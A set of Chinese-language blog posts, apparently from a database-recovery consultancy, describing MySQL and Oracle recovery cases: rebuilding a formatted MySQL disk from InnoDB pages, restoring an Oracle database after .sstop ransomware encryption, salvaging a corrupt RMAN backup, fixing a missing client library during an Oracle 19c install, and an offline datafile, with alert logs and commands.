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文件系统格式化MySQL数据库恢复

有客户在做迁移的时候,不慎把存放mysql数据库的硬盘进行了重新分区格式化,重新初始化mysql,并且导入了部分历史数据,不能满足客户需求,希望我们帮忙进行数据恢复.里面大概有100套左右mysql数据库,每个库里面表结构相同,数据不一样.接手这个故障,第一操作就是对磁盘进行镜像,然后使用恢复工具进行底层分析,尝试从文件系统层面恢复出来被格式化之前的数据库文件(需要有对应库目录,不然也没有意义,因为每个库里面表结构一样的,没有正确的库名字无法做到有效的区分),通过底层扫描分析,没有发现一个有效数据文件

对于这样的情况,只能寄希望于mysql 数据块层面扫描恢复,通过工具扫描发现大量的数据块page文件

然后尝试分析字典信息,主要是对于0000000000000001.page对应的表创建语句为:

CREATE TABLE `SYS_TABLES` (
  `NAME` varchar(255) NOT NULL DEFAULT '',
  `ID` bigint(20) unsigned NOT NULL DEFAULT '0',
  `N_COLS` int(10) DEFAULT NULL,
  `TYPE` int(10) unsigned DEFAULT NULL,
  `MIX_ID` bigint(20) unsigned DEFAULT NULL,
  `MIX_LEN` int(10) unsigned DEFAULT NULL,
  `CLUSTER_NAME` varchar(255) DEFAULT NULL,
  `SPACE` int(10) unsigned DEFAULT NULL,
  PRIMARY KEY (`NAME`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

通过上述信息可以获取到name和id列的值(其中name中包含库名/表名),然后再通过0000000000000003.page文件结合对应的表创建语句:

CREATE TABLE `SYS_INDEXES` (
  `TABLE_ID` bigint(20) unsigned NOT NULL DEFAULT '0',
  `ID` bigint(20) unsigned NOT NULL DEFAULT '0',
  `NAME` varchar(120) DEFAULT NULL,
  `N_FIELDS` int(10) unsigned DEFAULT NULL,
  `TYPE` int(10) unsigned DEFAULT NULL,
  `SPACE` int(10) unsigned DEFAULT NULL,
  `PAGE_NO` int(10) unsigned DEFAULT NULL,
  PRIMARY KEY (`TABLE_ID`,`ID`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

这个主要是或者表id和page id的对应关系(表id直接关联SYS_TABLES.ID,然后获取SYS_TABLES.NAME和SYS_INDEXES.ID对应关系,从而可以确定每一个表对应的需要恢复的page文件信息,再通过客户提供的表语句和对应的page关系,实现相关数据恢复,具体操作可以参考以往类似文章:
xfs文件系统mysql删库恢复
 又一起mysql rm删除数据库目录事故
 [MySQL异常恢复]恢复数据字典表讲解
 [MySQL异常恢复]mysql drop table 数据恢复
 mysql ibd文件反删除恢复之后异常处理
 [MySQL异常恢复]使用工具直接抽取MySQL数据字典
 MySQL drop database恢复(恢复方法同样适用MySQL drop table,delete,truncate table)

.sstop勒索加密数据库恢复

联系：手机/微信(+86 17813235971) QQ(107644445)

标题：.sstop勒索加密数据库恢复

数据库文件被加密,扩展名类似:.[[dataserver@airmail.cc]].sstop,通过工具进行坏块检测确认破坏数据文件三段,每段8个block

根据经验可以确认,数据文件前面8个block肯定没有业务数据(主要是文件头信息和位图信息),可以使用Oracle数据文件勒索加密恢复工具对其文件头进行构造

尝试open数据库,在open过程中遭遇多次ORA-01555错误,参考以前类似文章:
在数据库open过程中常遇到ORA-01555汇总
数据库open过程遭遇ORA-1555对应sql语句补充
Oracle Recovery Tools恢复—ORA-00704 ORA-01555故障

SQL> alter database open resetlogs;
alter database open resetlogs
*
ERROR at line 1:
ORA-01092: ORACLE instance terminated. Disconnection forced
ORA-00704: bootstrap process failure
ORA-00704: bootstrap process failure
ORA-00604: error occurred at recursive SQL level 2
ORA-01555: snapshot too old: rollback segment number 0 with name "SYSTEM" too
small
Process ID: 23720
Session ID: 243 Serial number: 13


SQL> alter database Open;
alter database Open
*
ERROR at line 1:
ORA-01092: ORACLE instance terminated. Disconnection forced
ORA-00704: bootstrap process failure
ORA-00704: bootstrap process failure
ORA-00604: error occurred at recursive SQL level 1
ORA-01555: snapshot too old: rollback segment number 5 with name
"_SYSSMU5_2520346804$" too small
Process ID: 26636
Session ID: 232 Serial number: 1

然后使用expdp导出业务数据,完成本次恢复任务,原则上跳过中间坏块数据之外,没有业务数据丢失
对于类似这种被加密的勒索的数据库(oracle,mysql,sql server)等被加密,需要专业恢复技术支持，请联系我们:
电话/微信:17813235971 Q Q:107644445 E-Mail:dba@xifenfei.com
系统安全防护措施建议：
1.多台机器，不要使用相同的账号和口令
2.登录口令要有足够的长度和复杂性，并定期更换登录口令
3.重要资料的共享文件夹应设置访问权限控制，并进行定期备份
4.定期检测系统和软件中的安全漏洞，及时打上补丁。
5.定期到服务器检查是否存在异常。
6.安装安全防护软件，并确保其正常运行。
7.从正规渠道下载安装软件。
8.对不熟悉的软件，如果已经被杀毒软件拦截查杀，不要添加信任继续运行。
9.保存良好的备份习惯，尽量做到每日备份，异地备份。

解决一次硬件恢复之后数据文件0kb的故障恢复case

联系：手机/微信(+86 17813235971) QQ(107644445)

标题：解决一次硬件恢复之后数据文件0kb的故障恢复case

客户一个比较久远系统,由于长期没有人维护,导致硬件故障,客户找人进行了硬件恢复之后,发现大量数据文件为0kb

客户这个系统是17年上线,19年进行了一次升级,提出要求,只要能够恢复到19年升级之后的系统状态即可(因为是制造业系统,大量配置信息在里,至于后续产生的数据,无所谓),基于目前的数据文件情况,肯定无法恢复出来(因为字典数据在system01.dbf中)
基于这种情况,我这边在客户恢复的整个目录文件中,再三查找,发现了一个类似rman备份的文件(是21年的),对其进行还原尝试

在还原过程中发现大量坏块,没有办法,最后只能采用一些方法强制rman还原出来备份中的部分文件

Corrupt block 653695 found during reading backup piece, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, corr_type=-2
Reread of blocknum=653695, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, found same corrupt data
Reread of blocknum=653695, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, found same corrupt data
Reread of blocknum=653695, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, found same corrupt data
Reread of blocknum=653695, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, found same corrupt data
Reread of blocknum=653695, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, found same corrupt data
Continuing reading piece H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, no other copies available.
Fri Jun 06 14:23:26 2025
Cannot read block 1 from S:\DBFILES\BACKUP\ORA_DF1080446471_S8590_S1 - 
   restore failover to read from H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1
ORA-19505: 无法识别文件"S:\DBFILES\BACKUP\ORA_DF1080446471_S8590_S1"
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Full restore complete of datafile 2 to datafile copy H:\BAIDUNETDISK\BACKUP\BACKUP\2_SYSAUX01.DBF.Elapsed time: 0:00:04
  checkpoint is 16694678523790
Full restore complete of datafile 1 to datafile copy H:\BAIDUNETDISK\BACKUP\BACKUP\1_SYSTEM01.DBF.Elapsed time: 0:00:05
  checkpoint is 16694678523790
  Undo Optimization current scn is 16694646809619
Fri Jun 06 14:23:47 2025
Datafile rdba reconstruction error, expected block greater than 3305201, got 3304960 for datafile 4
Corrupt block 3746806 found during reading backup piece, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, corr_type=4
Datafile tail reconstruction error, expected tail of 0, got -1601108480 for datafile 4
………………
Corrupt block 4290319 found during reading backup piece, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, corr_type=-2
Reread of blocknum=4290319, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, found same corrupt data
Reread of blocknum=4290319, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, found same corrupt data
Reread of blocknum=4290319, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, found same corrupt data
Reread of blocknum=4290319, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, found same corrupt data
Reread of blocknum=4290319, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, found same corrupt data
Continuing reading piece H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, no other copies available.
Fri Jun 06 16:01:21 2025
Hex dump of (file 4, block 1) in trace file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_15808.trc
Corrupt block relative dba: 0x01000001 (file 4, block 1)
Bad check value found during deleting datafile copy
Data in bad block:
 type: 0 format: 2 rdba: 0x01000001
 last change scn: 0x0000.00000000 seq: 0x1 flg: 0x05
 spare1: 0x0 spare2: 0x0 spare3: 0x0
 consistency value in tail: 0x00000001
 check value in block header: 0x0
 computed block checksum: 0xa601
Reread of blocknum=1, file=H:\BAIDUNETDISK\BACKUP\BACKUP\4_USERS01.DBF. found valid data
Switch of datafile 4 complete to datafile copy 
  checkpoint is 16126

很明显还原出来的system/sysaux文件可能还可以使用,但是users01.dbf肯定不行(从checkpoint is SCN)可以判断出来(users01.dbf是初始化出来的),基于这种情况,利用当前的system和sysaux打开数据库

Fri Jun 13 22:05:31 2025
Media Recovery failed with error 1610
Fri Jun 13 22:05:31 2025
Signalling error 1152 for datafile 1!
Signalling error 1152 for datafile 2!
Signalling error 1152 for datafile 3!
Signalling error 1152 for datafile 4!
Checker run found 5 new persistent data failures
Recovery Slave PR00 previously exited with exception 283
ORA-283 signalled during: ALTER DATABASE RECOVER  database until cancel  ...
Fri Jun 13 22:05:49 2025
ALTER DATABASE RECOVER  database using backup controlfile  
Media Recovery Start
 started logmerger process
Parallel Media Recovery started with 20 slaves
Fri Jun 13 22:05:49 2025
Warning: Datafile 3 (H:\BAIDUNETDISK\BACKUP\BACKUP\3_UNDOTBS01.DBF) is 
offline during full database recovery and will not be recovered
ORA-279 signalled during: ALTER DATABASE RECOVER  database using backup controlfile
ALTER DATABASE RECOVER    CANCEL  
Media Recovery Canceled
Completed: ALTER DATABASE RECOVER    CANCEL  
Fri Jun 13 22:06:04 2025
alter database open resetlogs
RESETLOGS is being done without consistancy checks. This may result
in a corrupted database. The database should be recreated.
RESETLOGS after incomplete recovery UNTIL CHANGE 16694678523790
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 1 (用于线程 1) 的成员
ORA-00312: 联机日志 1 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO01.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 2 (用于线程 1) 的成员
ORA-00312: 联机日志 2 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO02.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 3 (用于线程 1) 的成员
ORA-00312: 联机日志 3 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO03.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 1 (用于线程 1) 的成员
ORA-00312: 联机日志 1 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO01.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Clearing online redo logfile 1 H:\BAIDUNETDISK\BACKUP\BACKUP\REDO01.LOG
Clearing online log 1 of thread 1 sequence number 33772
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 1 (用于线程 1) 的成员
ORA-00312: 联机日志 1 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO01.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 1 (用于线程 1) 的成员
ORA-00312: 联机日志 1 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO01.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Clearing online redo logfile 1 complete
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 2 (用于线程 1) 的成员
ORA-00312: 联机日志 2 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO02.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Clearing online redo logfile 2 H:\BAIDUNETDISK\BACKUP\BACKUP\REDO02.LOG
Clearing online log 2 of thread 1 sequence number 33773
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 2 (用于线程 1) 的成员
ORA-00312: 联机日志 2 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO02.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 2 (用于线程 1) 的成员
ORA-00312: 联机日志 2 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO02.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Clearing online redo logfile 2 complete
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 3 (用于线程 1) 的成员
ORA-00312: 联机日志 3 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO03.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Clearing online redo logfile 3 H:\BAIDUNETDISK\BACKUP\BACKUP\REDO03.LOG
Clearing online log 3 of thread 1 sequence number 33771
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 3 (用于线程 1) 的成员
ORA-00312: 联机日志 3 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO03.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 3 (用于线程 1) 的成员
ORA-00312: 联机日志 3 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO03.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Clearing online redo logfile 3 complete
Resetting resetlogs activation ID 1596759182 (0x5f2c9c8e)
Online log H:\BAIDUNETDISK\BACKUP\BACKUP\REDO01.LOG: Thread 1 Group 1 was previously cleared
Online log H:\BAIDUNETDISK\BACKUP\BACKUP\REDO02.LOG: Thread 1 Group 2 was previously cleared
Online log H:\BAIDUNETDISK\BACKUP\BACKUP\REDO03.LOG: Thread 1 Group 3 was previously cleared
Fri Jun 13 22:06:05 2025
Setting recovery target incarnation to 2
Fri Jun 13 22:06:05 2025
Assigning activation ID 1908542329 (0x71c20b79)
LGWR: STARTING ARCH PROCESSES
Fri Jun 13 22:06:05 2025
ARC0 started with pid=21, OS id=3372 
ARC0: Archival started
LGWR: STARTING ARCH PROCESSES COMPLETE
ARC0: STARTING ARCH PROCESSES
Fri Jun 13 22:06:06 2025
ARC1 started with pid=22, OS id=14764 
Fri Jun 13 22:06:06 2025
ARC2 started with pid=23, OS id=9156 
Thread 1 opened at log sequence 1
  Current log# 1 seq# 1 mem# 0: H:\BAIDUNETDISK\BACKUP\BACKUP\REDO01.LOG
Successful open of redo thread 1
MTTR advisory is disabled because FAST_START_MTTR_TARGET is not set
Fri Jun 13 22:06:06 2025
ARC3 started with pid=24, OS id=24080 
ARC1: Archival started
ARC2: Archival started
ARC2: Becoming the 'no FAL' ARCH
ARC2: Becoming the 'no SRL' ARCH
ARC1: Becoming the heartbeat ARCH
Fri Jun 13 22:06:07 2025
SMON: enabling cache recovery
Undo initialization finished serial:0 start:160589734 end:160589750 diff:16 (0 seconds)
Dictionary check beginning
File #3 is offline, but is part of an online tablespace.
data file 3: 'H:\BAIDUNETDISK\BACKUP\BACKUP\3_UNDOTBS01.DBF'
File #4 is offline, but is part of an online tablespace.
data file 4: 'H:\BAIDUNETDISK\BACKUP\BACKUP\4_USERS01.DBF'
Fri Jun 13 22:06:07 2025
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_dbw0_8352.trc:
ORA-01157: ????/?????? 201 - ??? DBWR ????
ORA-01110: ???? 201: 'H:\BAIDUNETDISK\BACKUP\BACKUP\TEMP01.DBF'
ORA-27041: ??????
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_dbw0_8352.trc:
ORA-01186: ?? 201 ??????
ORA-01157: ????/?????? 201 - ??? DBWR ????
ORA-01110: ???? 201: 'H:\BAIDUNETDISK\BACKUP\BACKUP\TEMP01.DBF'
File 201 not verified due to error ORA-01157
Dictionary check complete
Verifying file header compatibility for 11g tablespace encryption..
Verifying 11g file header compatibility for tablespace encryption completed
SMON: enabling tx recovery
Re-creating tempfile H:\BAIDUNETDISK\BACKUP\BACKUP\TEMP01.DBF
Database Characterset is AL32UTF8
No Resource Manager plan active
replication_dependency_tracking turned off (no async multimaster replication found)
Starting background process QMNC
Fri Jun 13 22:06:07 2025
QMNC started with pid=25, OS id=20288 
LOGSTDBY: Validating controlfile with logical metadata
LOGSTDBY: Validation complete
Completed: alter database open resetlogs

导出需要的业务用户字典信息,然后把客户那边提供的users01.dbf文件(users02.dbf是客户在21年之后增加的,原则上客户要的数据都在users01.dbf中)中的数据恢复到导出的字典中,完成本次数据恢复,客户远程验证业务,运行正常,客户需要的配置信息都在其中.

Error in invoking target ‘libasmclntsh19.ohso libasmperl19.ohso client_sharedlib’问题处理

联系：手机/微信(+86 17813235971) QQ(107644445)

标题：Error in invoking target ‘libasmclntsh19.ohso libasmperl19.ohso client_sharedlib’问题处理

最近在redhat 8.x系列系统中安装Oracle 19c,编译的过程中出现类似:[FATAL] Error in invoking target ‘libasmclntsh19.ohso libasmperl19.ohso client_sharedlib’ of makefile ‘/u01/app/oracle/product/19c/db_1/rdbms/lib/ins_rdbms.mk’.错误

[oracle@xifenfei db_1]$ ./runInstaller -ignorePrereq -waitforcompletion -silent \
>   oracle.install.option=INSTALL_DB_SWONLY \
>   UNIX_GROUP_NAME=oinstall \
>   INVENTORY_LOCATION=${ORACLE_BASE}/oraInventory \
>   ORACLE_HOME=${ORACLE_HOME} \
>   ORACLE_BASE=${ORACLE_BASE} \
>   oracle.install.db.InstallEdition=EE \
>   oracle.install.db.OSDBA_GROUP=dba \
>   oracle.install.db.OSBACKUPDBA_GROUP=backupdba \
>   oracle.install.db.OSDGDBA_GROUP=dgdba \
>   oracle.install.db.OSKMDBA_GROUP=kmdba \
>   oracle.install.db.OSRACDBA_GROUP=dba \
>   SECURITY_UPDATES_VIA_MYORACLESUPPORT=false \
>   DECLINE_SECURITY_UPDATES=true
Launching Oracle Database Setup Wizard...

[WARNING] [INS-13014] Target environment does not meet some optional requirements.
   CAUSE: Some of the optional prerequisites are not met. See logs for details. 
/u01/app/oraInventory/logs/InstallActions2025-06-02_05-13-46PM/installActions2025-06-02_05-13-46PM.log
   ACTION: Identify the list of failed prerequisite checks from the log: 
/u01/app/oraInventory/logs/InstallActions2025-06-02_05-13-46PM/installActions2025-06-02_05-13-46PM.log. 
Then either from the log file or from installation manual 
find the appropriate configuration to meet the prerequisites and fix it manually.
The response file for this session can be found at:
 /u01/app/oracle/product/19c/db_1/install/response/db_2025-06-02_05-13-46PM.rsp

You can find the log of this install session at:
 /u01/app/oraInventory/logs/InstallActions2025-06-02_05-13-46PM/installActions2025-06-02_05-13-46PM.log
[FATAL] Error in invoking target 'libasmclntsh19.ohso libasmperl19.ohso client_sharedlib' of 
makefile '/u01/app/oracle/product/19c/db_1/rdbms/lib/ins_rdbms.mk'. See 
'/u01/app/oraInventory/logs/InstallActions2025-06-02_05-13-46PM/installActions2025-06-02_05-13-46PM.log' for details.

查看日志中具体信息

INFO:
/usr/bin/ld
INFO:
: cannot find -lclntsh

INFO:
make[2]: *** [/u01/app/oracle/product/19c/db_1/rdbms/lib/env_rdbms.mk:5232: dlopenlib] Error 1

INFO:
make[2]: Leaving directory '/u01/app/oracle/product/19c/db_1/rdbms/lib'

INFO:
make[1]: *** [/u01/app/oracle/product/19c/db_1/rdbms/lib/env_rdbms.mk:5210: 
 /u01/app/oracle/product/19c/db_1/lib/libasmperl19.so] Error 2

INFO:
make[1]: Leaving directory '/u01/app/oracle/product/19c/db_1/rdbms/lib'

INFO:
make: *** [/u01/app/oracle/product/19c/db_1/rdbms/lib/env_rdbms.mk:5247: libasmperl19.ohso] Error 2

INFO: End output from spawned process.
INFO: ----------------------------------
INFO: Exception thrown from action: make
Exception Name: MakefileException
Exception String: Error in invoking target 'libasmclntsh19.ohso libasmperl19.ohso client_sharedlib' of makefile 
'/u01/app/oracle/product/19c/db_1/rdbms/lib/ins_rdbms.mk'. See 
'/u01/app/oraInventory/logs/InstallActions2025-06-02_05-13-46PM/installActions2025-06-02_05-13-46PM.log' for details.
Exception Severity: 1
INFO:  [Jun 2, 2025 5:16:23 PM] Adding ExitStatus STOP_INSTALL to the exit status set
INFO:  [Jun 2, 2025 5:16:23 PM] Finding the most appropriate exit status for the current application
INFO:  [Jun 2, 2025 5:16:23 PM] inventory location is/u01/app/oraInventory
INFO:  [Jun 2, 2025 5:16:23 PM] Adding ExitStatus SUCCESS_WITH_WARNINGS to the exit status set
INFO:  [Jun 2, 2025 5:16:23 PM] Finding the most appropriate exit status for the current application
INFO:  [Jun 2, 2025 5:16:23 PM] Exit Status is -4
INFO:  [Jun 2, 2025 5:16:23 PM] Shutdown Oracle Database 19c Installer
INFO:  [Jun 2, 2025 5:16:23 PM] Unloading Setup Driver

提示缺少lclntsh,对应到数据中为libclntsh动态库文件,检查数据lib中相关文件

[oracle@xifenfei lib]$ ls -ltr libclntsh*
lrwxrwxrwx 1 oracle oinstall      12 Jun  2 16:06 libclntsh.so.11.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall      12 Jun  2 16:06 libclntsh.so.10.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall      12 Jun  2 16:06 libclntsh.so.12.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall      12 Jun  2 16:06 libclntsh.so.18.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall      17 Jun  2 16:06 libclntsh.so -> libclntsh.so.19.1
-rwxr-xr-x 1 oracle oinstall 8057080 Jun  2 16:11 libclntshcore.so.19.1
lrwxrwxrwx 1 oracle oinstall      21 Jun  2 16:11 libclntshcore.so -> libclntshcore.so.19.1

发现libclntsh.so.*.1都软连接到 libclntsh.so.19.1 而 libclntsh.so.19.1这个文件本身丢失,从安装介质中找到该文件并传输到lib中,修改权限

[oracle@xifenfei ~]$ cd $ORACLE_HOME/lib
[oracle@xifenfei lib]$ cp /tmp/libclntsh.so.19.1 ./
[oracle@xifenfei lib]$ chmod 777 libclntsh.so.19.1
[oracle@xifenfei lib]$ ls -ltr libclntsh*
lrwxrwxrwx 1 oracle oinstall       12 Jun  2 17:31 libclntsh.so.10.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall       12 Jun  2 17:31 libclntsh.so.11.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall       12 Jun  2 17:31 libclntsh.so.12.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall       12 Jun  2 17:31 libclntsh.so.18.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall       17 Jun  2 17:34 libclntsh.so -> libclntsh.so.19.1
lrwxrwxrwx 1 oracle oinstall       21 Jun  2 17:34 libclntshcore.so -> libclntshcore.so.19.1
-rwxr-xr-x 1 oracle oinstall 82573024 Jun  2 17:34 libclntsh.so.19.1
-rwxr-xr-x 1 oracle oinstall  8057080 Jun  2 17:34 libclntshcore.so.19.1

后续重新执行runInstaller相关命令安装正常,这个问题本质是由于libclntsh.so.19.1文件丢失导致,我查看了unzip解压日志,发现是解压出来了该文件的,具体什么原因丢失未知

ORA-01171: datafile N going offline due to error advancing checkpoint

联系：手机/微信(+86 17813235971) QQ(107644445)

标题：ORA-01171: datafile N going offline due to error advancing checkpoint

最近接到一个客户有一个数据文件offline的恢复咨询,通过分析日志,当时是由于在启动的时候数据文件被占用导致后续数据库open之后,该文件被强制offline掉

Fri May 16 20:01:05 2025
Database mounted in Exclusive Mode
Completed: ALTER DATABASE   MOUNT
Fri May 16 20:01:05 2025
ALTER DATABASE OPEN
Fri May 16 20:01:06 2025
LGWR: STARTING ARCH PROCESSES
ARC0 started with pid=70, OS id=4628
Fri May 16 20:01:06 2025
ARC0: Archival started
ARC1 started with pid=74, OS id=4840
Fri May 16 20:01:06 2025
ARC1: Archival started
LGWR: STARTING ARCH PROCESSES COMPLETE
Fri May 16 20:01:06 2025
Errors in file d:\oracle\product\10.2.0\admin\orcl\bdump\orcl_lgwr_4080.trc:
ORA-01110: data file 14: 'D:\ORADATA\XIFENFEI105_DAT_1.DBF'
ORA-01114: IO error writing block to file 14 (block # 1)
ORA-27041: unable to open file
OSD-04002: 无法打开文件
O/S-Error: (OS 32) 另一个程序正在使用此文件，进程无法访问。

Thread 1 opened at log sequence 172421
  Current log# 1 seq# 172421 mem# 0: D:\ORACLE\PRODUCT\10.2.0\ORADATA\ORCL\REDO01.LOG
Fri May 16 20:01:06 2025
ARC1: STARTING ARCH PROCESSES
Fri May 16 20:01:06 2025
Successful open of redo thread 1
Fri May 16 20:01:06 2025
ARC0: Becoming the 'no FAL' ARCH
ARC0: Becoming the 'no SRL' ARCH
Fri May 16 20:01:06 2025
ARC2: Archival started
ARC1: STARTING ARCH PROCESSES COMPLETE
ARC2 started with pid=78, OS id=4056
Fri May 16 20:01:06 2025
ARC1: Becoming the heartbeat ARCH
Fri May 16 20:01:06 2025
MTTR advisory is disabled because FAST_START_MTTR_TARGET is not set
Fri May 16 20:01:06 2025
SMON: enabling cache recovery
Fri May 16 20:01:07 2025
Successfully onlined Undo Tablespace 1.
Fri May 16 20:01:07 2025
SMON: enabling tx recovery
Fri May 16 20:01:08 2025
Database Characterset is ZHS16GBK
replication_dependency_tracking turned off (no async multimaster replication found)
Starting background process QMNC
QMNC started with pid=86, OS id=4492
Fri May 16 20:01:12 2025
db_recovery_file_dest_size of 51200 MB is 1.97% used. This is a
user-specified limit on the amount of space that will be used by this
database for recovery-related files, and does not reflect the amount of
space available in the underlying filesystem or ASM diskgroup.
Fri May 16 20:01:13 2025
Completed: ALTER DATABASE OPEN
Fri May 16 20:06:44 2025
Restarting dead background process MMON
MMON started with pid=98, OS id=4232
Fri May 16 20:07:06 2025
Shutting down archive processes
Fri May 16 20:07:11 2025
ARCH shutting down
ARC2: Archival stopped
Fri May 16 20:10:32 2025
Thread 1 advanced to log sequence 172422
  Current log# 2 seq# 172422 mem# 0: D:\ORACLE\PRODUCT\10.2.0\ORADATA\ORCL\REDO02.LOG
Fri May 16 20:15:33 2025
Errors in file d:\oracle\product\10.2.0\admin\orcl\bdump\orcl_ckpt_2496.trc:
ORA-01171: datafile 14 going offline due to error advancing checkpoint
ORA-01122: database file 14 failed verification check
ORA-01110: data file 14: 'D:\ORADATA\XIFENFEI105_DAT_1.DBF'
ORA-01208: data file is an old version - not accessing current version

Fri May 16 20:23:09 2025
Starting background process EMN0
EMN0 started with pid=82, OS id=2660

通过dbv检查报错文件,确认被offline文件本身正常

本身这个故障相对比较简单,只要归档存在直接recover datafile,然后online即可,但是由于备份软件定时工作,导致对应的归档被备份走

Fri May 16 21:55:10 2025
Control autobackup written to SBT_TAPE device
	comment 'API Version 2.0,MMS Version 10.0.0.116',
	media 'V_6746190_6959024'
	handle 'c-1300253653-20250516-00'
Fri May 16 21:56:03 2025
Thread 1 cannot allocate new log, sequence 172423
Private strand flush not complete
  Current log# 2 seq# 172422 mem# 0: D:\ORACLE\PRODUCT\10.2.0\ORADATA\ORCL\REDO02.LOG

而且被异常的数据文件不是核心业务文件,导致客户没有及时发现,等到发现之时尝试recover datafile,提示缺少归档

Wed May 28 17:26:01 2025
alter database recover datafile list clear
Wed May 28 17:26:01 2025
Completed: alter database recover datafile list clear
Wed May 28 17:26:01 2025
alter database recover if needed
 datafile 14

Media Recovery Start
 parallel recovery started with 16 processes
ORA-279 signalled during: alter database recover if needed
 datafile 14
...
Wed May 28 17:26:11 2025
alter database recover cancel
Wed May 28 17:26:13 2025
Media Recovery Canceled
Completed: alter database recover cancel
Wed May 28 17:38:58 2025
ALTER DATABASE RECOVER  datafile 'D:\ORADATA\XIFENFEI105_DAT_1.DBF'  
Wed May 28 17:38:58 2025
Media Recovery Start
 parallel recovery started with 16 processes
ORA-279 signalled during: ALTER DATABASE RECOVER  datafile 'D:\ORADATA\XIFENFEI105_DAT_1.DBF'  ...
Wed May 28 18:26:37 2025
ALTER DATABASE RECOVER    CONTINUE DEFAULT  
Wed May 28 18:26:38 2025
